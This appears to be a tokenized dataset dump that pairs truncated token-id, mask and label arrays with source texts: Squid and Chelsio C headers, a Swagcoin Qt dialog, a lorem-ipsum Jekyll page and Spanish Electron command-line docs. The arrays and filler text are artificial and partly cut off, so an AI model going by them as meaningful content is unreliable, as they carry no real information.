[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 999, 1011, 1011, 1031, 2065, 29464, 1022, 1033, 1028, 1026, 16129, 2465, 1027, 1000, 2053, 1011, 1046, 2015, 8318, 1011, 29464, 2683, 1000, 11374, 1027, 1000, 4372, 1000, 1028, 1026, 999, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. */ #ifndef SQUID_SNMP_PDU_H #define SQUID_SNMP_PDU_H /* required for oid typedef */ #include "asn1.h" #if HAVE_NETINET_IN_H #include <netinet/in.h> #endif /********************************************************************** * * Copyright 1997 by Carnegie Mellon University * * All Rights Reserved * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, * provided that the above copyright notice appear in all copies and that * both that copyright notice and this permission notice appear in * supporting documentation, and that the name of CMU not be * used in advertising or publicity pertaining to distribution of the * software without specific, written prior permission. * * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS * SOFTWARE. * * Author: Ryan Troll <ryan+@andrew.cmu.edu> * **********************************************************************/ #ifdef __cplusplus extern "C" { #endif /* An SNMP PDU */ struct snmp_pdu { int command; /* Type of this PDU */ struct sockaddr_in address; /* Address of peer */ int reqid; /* Integer32: Request id */ int errstat; /* INTEGER: Error status */ int errindex; /* INTEGER: Error index */ /* SNMPv2 Bulk Request */ int non_repeaters; /* INTEGER: */ int max_repetitions; /* INTEGER: */ struct variable_list *variables; /* Variable Bindings */ /* Trap information */ oid *enterprise; /* System OID */ int enterprise_length; struct sockaddr_in agent_addr; /* address of object generating trap */ int trap_type; /* generic trap type */ int specific_type; /* specific type */ u_int time; /* Uptime */ }; struct snmp_pdu *snmp_pdu_create(int); struct snmp_pdu *snmp_pdu_clone(struct snmp_pdu *); struct snmp_pdu *snmp_pdu_fix(struct snmp_pdu *, int); struct snmp_pdu *snmp_fix_pdu(struct snmp_pdu *, int); void snmp_free_pdu(struct snmp_pdu *); void snmp_pdu_free(struct snmp_pdu *); u_char *snmp_pdu_encode(u_char *, int *, struct snmp_pdu *); u_char *snmp_pdu_decode(u_char *, int *, struct snmp_pdu *); /* Add a NULL Variable to a PDU */ void snmp_add_null_var(struct snmp_pdu *, oid *, int); /* RFC 1905: Protocol Operations for SNMPv2 * * RFC 1157: A Simple Network Management Protocol (SNMP) * * PDU Types */ #define SNMP_PDU_GET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0) #define SNMP_PDU_GETNEXT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1) #define SNMP_PDU_RESPONSE (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2) #ifdef UNUSED_CODE #define SNMP_PDU_SET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3) #define TRP_REQ_MSG (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4) /*Obsolete */ #endif #define SNMP_PDU_GETBULK (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5) #ifdef UNUSED_CODE #define SNMP_PDU_INFORM (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6) #define SNMP_PDU_V2TRAP (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7) #define SNMP_PDU_REPORT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x8) #endif #define MAX_BINDINGS 2147483647 /* PDU Defaults */ #define SNMP_DEFAULT_ERRSTAT -1 #define SNMP_DEFAULT_ERRINDEX -1 #define SNMP_DEFAULT_ADDRESS 0 #define SNMP_DEFAULT_REQID 0 /* RFC 1907: Management Information Base for SNMPv2 * * RFC 1157: A Simple Network Management Protocol (SNMP) * * Trap Types */ #if UNUSED_CODE #define SNMP_TRAP_COLDSTART (0x0) #define SNMP_TRAP_WARMSTART (0x1) #define SNMP_TRAP_LINKDOWN (0x2) #define SNMP_TRAP_LINKUP (0x3) #define SNMP_TRAP_AUTHENTICATIONFAILURE (0x4) #define SNMP_TRAP_EGPNEIGHBORLOSS (0x5) #define SNMP_TRAP_ENTERPRISESPECIFIC (0x6) #endif #ifdef __cplusplus } #endif #endif /* SQUID_SNMP_PDU_H */
saucelabs/squid3
include/snmp_pdu.h
C
gpl-2.0
4,517
[ 30522, 1013, 1008, 1008, 9385, 1006, 1039, 1007, 2727, 1011, 2355, 1996, 26852, 4007, 3192, 1998, 16884, 1008, 1008, 26852, 4007, 2003, 5500, 2104, 14246, 2140, 2615, 2475, 1009, 6105, 1998, 2950, 1008, 5857, 2013, 3365, 3633, 1998, 4411, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- layout: page title: Webb Basic Financial Party date: 2016-05-24 author: Kenneth Schroeder tags: weekly links, java status: published summary: Aliquam erat volutpat. Pellentesque tincidunt luctus neque, ac. banner: images/banner/leisure-02.jpg booking: startDate: 01/03/2017 endDate: 01/07/2017 ctyhocn: MGMDNHX groupCode: WBFP published: true --- Maecenas semper augue vel velit volutpat, eu tempor mi volutpat. Curabitur sed lobortis justo. Ut diam turpis, efficitur eu est in, malesuada faucibus orci. Suspendisse eget lacinia tellus. In malesuada enim mi, ac convallis mi placerat ac. Nunc laoreet, leo ut vestibulum mollis, nisi leo volutpat lorem, lacinia condimentum tortor nisl vitae ligula. Mauris vitae leo porttitor, porta nunc nec, rutrum nulla. Proin maximus ullamcorper risus, non sodales eros viverra eu. Nam tempus consequat sem, eu porttitor nisl egestas at. In eget efficitur felis. Duis eu vulputate ligula. Phasellus vel augue eget urna imperdiet cursus et sed risus. Integer dignissim imperdiet diam, id feugiat leo. Mauris id leo nunc. Suspendisse potenti. Sed vel dolor diam. Ut eget ornare mauris. Phasellus porta tortor vel sapien dignissim feugiat. Pellentesque vel imperdiet tellus. * Praesent eu nibh vel eros convallis eleifend eget eu tortor * Aenean nec neque eu felis efficitur interdum nec nec arcu. Integer ac eleifend risus, eget finibus erat. Ut sollicitudin pellentesque ipsum id pellentesque. Phasellus condimentum congue porttitor. Vestibulum neque nisl, ultricies at aliquet a, efficitur non felis. Quisque ut rutrum magna. Integer semper pretium nibh, in suscipit tortor ornare vel. Integer egestas feugiat blandit. Sed non consequat magna. Cras scelerisque tristique neque nec hendrerit. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Cras gravida ligula non aliquet lacinia. Maecenas eu ipsum sapien. Suspendisse quis ornare tortor. Interdum et malesuada fames ac ante ipsum primis in faucibus. Etiam ac vulputate ipsum. Etiam scelerisque lacinia lacus id pretium. Phasellus ultrices condimentum ex.
KlishGroup/prose-pogs
pogs/M/MGMDNHX/WBFP/index.md
Markdown
mit
2,097
[ 30522, 1011, 1011, 1011, 9621, 1024, 3931, 2516, 1024, 10923, 3937, 3361, 2283, 3058, 1024, 2355, 1011, 5709, 1011, 2484, 3166, 1024, 8856, 8040, 8093, 29099, 2121, 22073, 1024, 4882, 6971, 1010, 9262, 3570, 1024, 2405, 12654, 1024, 4862, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * This file is part of the Chelsio T4 Ethernet driver for Linux. * * Copyright (c) 2003-2014 Chelsio Communications, Inc. All rights reserved. * * This software is available to you under a choice of one of two * licenses. You may choose to be licensed under the terms of the GNU * General Public License (GPL) Version 2, available from the file * COPYING in the main directory of this source tree, or the * OpenIB.org BSD license below: * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifndef __CXGB4_OFLD_H #define __CXGB4_OFLD_H #include <linux/cache.h> #include <linux/spinlock.h> #include <linux/skbuff.h> #include <linux/inetdevice.h> #include <asm/atomic.h> /* CPL message priority levels */ enum { CPL_PRIORITY_DATA = 0, /* data messages */ CPL_PRIORITY_SETUP = 1, /* connection setup messages */ CPL_PRIORITY_TEARDOWN = 0, /* connection teardown messages */ CPL_PRIORITY_LISTEN = 1, /* listen start/stop messages */ CPL_PRIORITY_ACK = 1, /* RX ACK messages */ CPL_PRIORITY_CONTROL = 1 /* control messages */ }; #define INIT_TP_WR(w, tid) do { \ (w)->wr.wr_hi = htonl(FW_WR_OP_V(FW_TP_WR) | \ FW_WR_IMMDLEN_V(sizeof(*w) - sizeof(w->wr))); \ (w)->wr.wr_mid = htonl(FW_WR_LEN16_V(DIV_ROUND_UP(sizeof(*w), 16)) | \ FW_WR_FLOWID_V(tid)); \ (w)->wr.wr_lo = cpu_to_be64(0); \ } while (0) #define INIT_TP_WR_CPL(w, cpl, tid) do { \ INIT_TP_WR(w, tid); \ OPCODE_TID(w) = htonl(MK_OPCODE_TID(cpl, tid)); \ } while (0) #define INIT_ULPTX_WR(w, wrlen, atomic, tid) do { \ (w)->wr.wr_hi = htonl(FW_WR_OP_V(FW_ULPTX_WR) | \ FW_WR_ATOMIC_V(atomic)); \ (w)->wr.wr_mid = htonl(FW_WR_LEN16_V(DIV_ROUND_UP(wrlen, 16)) | \ FW_WR_FLOWID_V(tid)); \ (w)->wr.wr_lo = cpu_to_be64(0); \ } while (0) /* Special asynchronous notification message */ #define CXGB4_MSG_AN ((void *)1) struct serv_entry { void *data; }; union aopen_entry { void *data; union aopen_entry *next; }; /* * Holds the size, base address, free list start, etc of the TID, server TID, * and active-open TID tables. The tables themselves are allocated dynamically. */ struct tid_info { void **tid_tab; unsigned int ntids; struct serv_entry *stid_tab; unsigned long *stid_bmap; unsigned int nstids; unsigned int stid_base; union aopen_entry *atid_tab; unsigned int natids; unsigned int atid_base; struct filter_entry *ftid_tab; unsigned int nftids; unsigned int ftid_base; unsigned int aftid_base; unsigned int aftid_end; /* Server filter region */ unsigned int sftid_base; unsigned int nsftids; spinlock_t atid_lock ____cacheline_aligned_in_smp; union aopen_entry *afree; unsigned int atids_in_use; spinlock_t stid_lock; unsigned int stids_in_use; atomic_t tids_in_use; }; static inline void *lookup_tid(const struct tid_info *t, unsigned int tid) { return tid < t->ntids ? t->tid_tab[tid] : NULL; } static inline void *lookup_atid(const struct tid_info *t, unsigned int atid) { return atid < t->natids ? t->atid_tab[atid].data : NULL; } static inline void *lookup_stid(const struct tid_info *t, unsigned int stid) { /* Is it a server filter TID? */ if (t->nsftids && (stid >= t->sftid_base)) { stid -= t->sftid_base; stid += t->nstids; } else { stid -= t->stid_base; } return stid < (t->nstids + t->nsftids) ? t->stid_tab[stid].data : NULL; } static inline void cxgb4_insert_tid(struct tid_info *t, void *data, unsigned int tid) { t->tid_tab[tid] = data; atomic_inc(&t->tids_in_use); } int cxgb4_alloc_atid(struct tid_info *t, void *data); int cxgb4_alloc_stid(struct tid_info *t, int family, void *data); int cxgb4_alloc_sftid(struct tid_info *t, int family, void *data); void cxgb4_free_atid(struct tid_info *t, unsigned int atid); void cxgb4_free_stid(struct tid_info *t, unsigned int stid, int family); void cxgb4_remove_tid(struct tid_info *t, unsigned int qid, unsigned int tid); struct in6_addr; int cxgb4_create_server(const struct net_device *dev, unsigned int stid, __be32 sip, __be16 sport, __be16 vlan, unsigned int queue); int cxgb4_create_server6(const struct net_device *dev, unsigned int stid, const struct in6_addr *sip, __be16 sport, unsigned int queue); int cxgb4_remove_server(const struct net_device *dev, unsigned int stid, unsigned int queue, bool ipv6); int cxgb4_create_server_filter(const struct net_device *dev, unsigned int stid, __be32 sip, __be16 sport, __be16 vlan, unsigned int queue, unsigned char port, unsigned char mask); int cxgb4_remove_server_filter(const struct net_device *dev, unsigned int stid, unsigned int queue, bool ipv6); static inline void set_wr_txq(struct sk_buff *skb, int prio, int queue) { skb_set_queue_mapping(skb, (queue << 1) | prio); } enum cxgb4_uld { CXGB4_ULD_RDMA, CXGB4_ULD_ISCSI, CXGB4_ULD_MAX }; enum cxgb4_state { CXGB4_STATE_UP, CXGB4_STATE_START_RECOVERY, CXGB4_STATE_DOWN, CXGB4_STATE_DETACH }; enum cxgb4_control { CXGB4_CONTROL_DB_FULL, CXGB4_CONTROL_DB_EMPTY, CXGB4_CONTROL_DB_DROP, }; struct pci_dev; struct l2t_data; struct net_device; struct pkt_gl; struct tp_tcp_stats; struct cxgb4_range { unsigned int start; unsigned int size; }; struct cxgb4_virt_res { /* virtualized HW resources */ struct cxgb4_range ddp; struct cxgb4_range iscsi; struct cxgb4_range stag; struct cxgb4_range rq; struct cxgb4_range pbl; struct cxgb4_range qp; struct cxgb4_range cq; struct cxgb4_range ocq; }; #define OCQ_WIN_OFFSET(pdev, vres) \ (pci_resource_len((pdev), 2) - roundup_pow_of_two((vres)->ocq.size)) /* * Block of information the LLD provides to ULDs attaching to a device. */ struct cxgb4_lld_info { struct pci_dev *pdev; /* associated PCI device */ struct l2t_data *l2t; /* L2 table */ struct tid_info *tids; /* TID table */ struct net_device **ports; /* device ports */ const struct cxgb4_virt_res *vr; /* assorted HW resources */ const unsigned short *mtus; /* MTU table */ const unsigned short *rxq_ids; /* the ULD's Rx queue ids */ const unsigned short *ciq_ids; /* the ULD's concentrator IQ ids */ unsigned short nrxq; /* # of Rx queues */ unsigned short ntxq; /* # of Tx queues */ unsigned short nciq; /* # of concentrator IQ */ unsigned char nchan:4; /* # of channels */ unsigned char nports:4; /* # of ports */ unsigned char wr_cred; /* WR 16-byte credits */ unsigned char adapter_type; /* type of adapter */ unsigned char fw_api_ver; /* FW API version */ unsigned int fw_vers; /* FW version */ unsigned int iscsi_iolen; /* iSCSI max I/O length */ unsigned int cclk_ps; /* Core clock period in psec */ unsigned short udb_density; /* # of user DB/page */ unsigned short ucq_density; /* # of user CQs/page */ unsigned short filt_mode; /* filter optional components */ unsigned short tx_modq[NCHAN]; /* maps each tx channel to a */ /* scheduler queue */ void __iomem *gts_reg; /* address of GTS register */ void __iomem *db_reg; /* address of kernel doorbell */ int dbfifo_int_thresh; /* doorbell fifo int threshold */ unsigned int sge_ingpadboundary; /* SGE ingress padding boundary */ unsigned int sge_egrstatuspagesize; /* SGE egress status page size */ unsigned int sge_pktshift; /* Padding between CPL and */ /* packet data */ unsigned int pf; /* Physical Function we're using */ bool enable_fw_ofld_conn; /* Enable connection through fw */ /* WR */ unsigned int max_ordird_qp; /* Max ORD/IRD depth per RDMA QP */ unsigned int max_ird_adapter; /* Max IRD memory per adapter */ bool ulptx_memwrite_dsgl; /* use of T5 DSGL allowed */ int nodeid; /* device numa node id */ }; struct cxgb4_uld_info { const char *name; void *(*add)(const struct cxgb4_lld_info *p); int (*rx_handler)(void *handle, const __be64 *rsp, const struct pkt_gl *gl); int (*state_change)(void *handle, enum cxgb4_state new_state); int (*control)(void *handle, enum cxgb4_control control, ...); }; int cxgb4_register_uld(enum cxgb4_uld type, const struct cxgb4_uld_info *p); int cxgb4_unregister_uld(enum cxgb4_uld type); int cxgb4_ofld_send(struct net_device *dev, struct sk_buff *skb); unsigned int cxgb4_dbfifo_count(const struct net_device *dev, int lpfifo); unsigned int cxgb4_port_chan(const struct net_device *dev); unsigned int cxgb4_port_viid(const struct net_device *dev); unsigned int cxgb4_port_idx(const struct net_device *dev); struct net_device *cxgb4_root_dev(struct net_device *dev, int vlan); unsigned int cxgb4_best_mtu(const unsigned short *mtus, unsigned short mtu, unsigned int *idx); unsigned int cxgb4_best_aligned_mtu(const unsigned short *mtus, unsigned short header_size, unsigned short data_size_max, unsigned short data_size_align, unsigned int *mtu_idxp); void cxgb4_get_tcp_stats(struct pci_dev *pdev, struct tp_tcp_stats *v4, struct tp_tcp_stats *v6); void cxgb4_iscsi_init(struct net_device *dev, unsigned int tag_mask, const unsigned int *pgsz_order); struct sk_buff *cxgb4_pktgl_to_skb(const struct pkt_gl *gl, unsigned int skb_len, unsigned int pull_len); int cxgb4_sync_txq_pidx(struct net_device *dev, u16 qid, u16 pidx, u16 size); int cxgb4_flush_eq_cache(struct net_device *dev); int cxgb4_read_tpte(struct net_device *dev, u32 stag, __be32 *tpte); u64 cxgb4_read_sge_timestamp(struct net_device *dev); enum cxgb4_bar2_qtype { CXGB4_BAR2_QTYPE_EGRESS, CXGB4_BAR2_QTYPE_INGRESS }; int cxgb4_bar2_sge_qregs(struct net_device *dev, unsigned int qid, enum cxgb4_bar2_qtype qtype, int user, u64 *pbar2_qoffset, unsigned int *pbar2_qid); #endif /* !__CXGB4_OFLD_H */
kofemann/linux-redpatch
drivers/net/cxgb4/cxgb4_uld.h
C
gpl-2.0
11,003
[ 30522, 1013, 1008, 1008, 2023, 5371, 2003, 2112, 1997, 1996, 18178, 4877, 3695, 1056, 2549, 26110, 4062, 2005, 11603, 1012, 1008, 1008, 9385, 1006, 1039, 1007, 2494, 1011, 2297, 18178, 4877, 3695, 4806, 1010, 4297, 1012, 2035, 2916, 9235, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#include "editaddressdialog.h" #include "ui_editaddressdialog.h" #include "addresstablemodel.h" #include "guiutil.h" #include <QDataWidgetMapper> #include <QMessageBox> EditAddressDialog::EditAddressDialog(Mode mode, QWidget *parent) : QDialog(parent), ui(new Ui::EditAddressDialog), mapper(0), mode(mode), model(0) { ui->setupUi(this); GUIUtil::setupAddressWidget(ui->addressEdit, this); switch(mode) { case NewReceivingAddress: setWindowTitle(tr("New receiving address")); ui->addressEdit->setEnabled(false); break; case NewSendingAddress: setWindowTitle(tr("New sending address")); break; case EditReceivingAddress: setWindowTitle(tr("Edit receiving address")); ui->addressEdit->setEnabled(false); break; case EditSendingAddress: setWindowTitle(tr("Edit sending address")); break; } mapper = new QDataWidgetMapper(this); mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit); } EditAddressDialog::~EditAddressDialog() { delete ui; } void EditAddressDialog::setModel(AddressTableModel *model) { this->model = model; if(!model) return; mapper->setModel(model); mapper->addMapping(ui->labelEdit, AddressTableModel::Label); mapper->addMapping(ui->addressEdit, AddressTableModel::Address); } void EditAddressDialog::loadRow(int row) { mapper->setCurrentIndex(row); } bool EditAddressDialog::saveCurrentRow() { if(!model) return false; switch(mode) { case NewReceivingAddress: case NewSendingAddress: address = model->addRow( mode == NewSendingAddress ? AddressTableModel::Send : AddressTableModel::Receive, ui->labelEdit->text(), ui->addressEdit->text()); break; case EditReceivingAddress: case EditSendingAddress: if(mapper->submit()) { address = ui->addressEdit->text(); } break; } return !address.isEmpty(); } void EditAddressDialog::accept() { if(!model) return; if(!saveCurrentRow()) { switch(model->getEditStatus()) { case AddressTableModel::OK: // Failed with unknown reason. Just reject. break; case AddressTableModel::NO_CHANGES: // No changes were made during edit operation. Just reject. break; case AddressTableModel::INVALID_ADDRESS: QMessageBox::warning(this, windowTitle(), tr("The entered address \"%1\" is not a valid Swagcoin address.").arg(ui->addressEdit->text()), QMessageBox::Ok, QMessageBox::Ok); break; case AddressTableModel::DUPLICATE_ADDRESS: QMessageBox::warning(this, windowTitle(), tr("The entered address \"%1\" is already in the address book.").arg(ui->addressEdit->text()), QMessageBox::Ok, QMessageBox::Ok); break; case AddressTableModel::WALLET_UNLOCK_FAILURE: QMessageBox::critical(this, windowTitle(), tr("Could not unlock wallet."), QMessageBox::Ok, QMessageBox::Ok); break; case AddressTableModel::KEY_GENERATION_FAILURE: QMessageBox::critical(this, windowTitle(), tr("New key generation failed."), QMessageBox::Ok, QMessageBox::Ok); break; } return; } QDialog::accept(); } QString EditAddressDialog::getAddress() const { return address; } void EditAddressDialog::setAddress(const QString &address) { this->address = address; ui->addressEdit->setText(address); }
getswagcoin/swagcoin
src/qt/editaddressdialog.cpp
C++
mit
3,732
[ 30522, 1001, 2421, 1000, 10086, 4215, 16200, 4757, 27184, 8649, 1012, 1044, 1000, 1001, 2421, 1000, 21318, 1035, 10086, 4215, 16200, 4757, 27184, 8649, 1012, 1044, 1000, 1001, 2421, 1000, 4769, 10880, 5302, 9247, 1012, 1044, 1000, 1001, 242...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Parámetros CLI soportados (Chrome) Esta página lista las líneas de comandos usadas por el navegador Chrome que también son soportadas por Electron. Puedes usar [app.commandLine.appendSwitch][append-switch] para anexarlas en el script principal de tu aplicación antes de que el evento [ready][ready] del módulo [app][app] sea emitido: ```javascript var app = require('app') app.commandLine.appendSwitch('remote-debugging-port', '8315') app.commandLine.appendSwitch('host-rules', 'MAP * 127.0.0.1') app.on('ready', function () { // Your code here }) ``` ## --client-certificate=`path` Establece el `path` del archivo de certificado del cliente. ## --ignore-connections-limit=`domains` Ignora el límite de conexiones para la lista de `domains` separados por `,`. ## --disable-http-cache Deshabilita la caché del disco para las peticiones HTTP. ## --remote-debugging-port=`port` Habilita la depuración remota a través de HTTP en el puerto especificado. ## --proxy-server=`address:port` Usa un servidor proxy especificado, que sobreescribe la configuración del sistema. Este cambio solo afecta peticiones HTTP y HTTPS. ## --proxy-pac-url=`url` Utiliza el script PAC en la `url` especificada. ## --no-proxy-server No usa un servidor proxy y siempre establece conexiones directas. Anula cualquier otra bandera de servidor proxy bandera que se pase. ## --host-rules=`rules` Una lista separada por comas de `rules` (reglas) que controlan cómo se asignan los nombres de host. Por ejemplo: * `MAP * 127.0.0.1` Obliga a todos los nombres de host a ser asignados a 127.0.0.1 * `MAP *.google.com proxy` Obliga todos los subdominios google.com a resolverse con "proxy". * `MAP test.com [::1]:77` Obliga a resolver "test.com" con un bucle invertido de IPv6. También obligará a que el puerto de la dirección respuesta sea 77. * `MAP * baz, EXCLUDE www.google.com` Reasigna todo a "baz", excepto a "www.google.com". Estas asignaciones especifican el host final en una petición de red (Anfitrión de la conexión TCP y de resolución de conexión directa, y el `CONNECT` en una conexión proxy HTTP, y el host final de la conexión proxy `SOCKS`). ## --host-resolver-rules=`rules` Como `--host-rules` pero estas `rules` solo se aplican al solucionador. [app]: app.md [append-switch]: app.md#appcommandlineappendswitchswitch-value [ready]: app.md#event-ready ## --ignore-certificate-errors Ignora errores de certificado relacionados. ## --ppapi-flash-path=`path` Asigna la ruta `path` del pepper flash plugin. ## --ppapi-flash-version=`version` Asigna la versión `version` del pepper flash plugin. ## --log-net-log=`path` Permite guardar y escribir eventos de registros de red en `path`. ## --ssl-version-fallback-min=`version` Establece la versión mínima de SSL/TLS ("tls1", "tls1.1" o "tls1.2") que el repliegue de TLC aceptará. ## --enable-logging Imprime el registro de Chromium en consola. Este cambio no puede ser usado en `app.commandLine.appendSwitch` ya que se analiza antes de que la aplicación del usuario esté cargada. ## --v=`log_level` Da el máximo nivel activo de V-logging por defecto; 0 es el predeterminado. Valores positivos son normalmente usados para los niveles de V-logging. Este modificador sólo funciona cuando también se pasa `--enable-logging`. ## --vmodule=`pattern` Da los niveles máximos de V-logging por módulo para sobreescribir el valor dado por `--v`. Ej. `my_module=2,foo*=3` cambiaría el nivel de registro para todo el código, los archivos de origen `my_module.*` y `foo*.*`. Cualquier patrón que contiene un slash o un slash invertido será probado contra toda la ruta y no sólo con el módulo. Ej. `*/foo/bar/*=2` cambiaría el nivel de registro para todo el código en los archivos origen bajo un directorio `foo/bar`. Este modificador sólo funciona cuando también se pasa `--enable-logging`.
gabriel/electron
docs-translations/es/api/chrome-command-line-switches.md
Markdown
mit
3,899
[ 30522, 1001, 11498, 11368, 7352, 18856, 2072, 2061, 6442, 28118, 1006, 18546, 1007, 9765, 2050, 6643, 20876, 2862, 2050, 5869, 2240, 3022, 2139, 16571, 15482, 2015, 3915, 8883, 18499, 3449, 12847, 3654, 7983, 18546, 10861, 17214, 11283, 2078,...
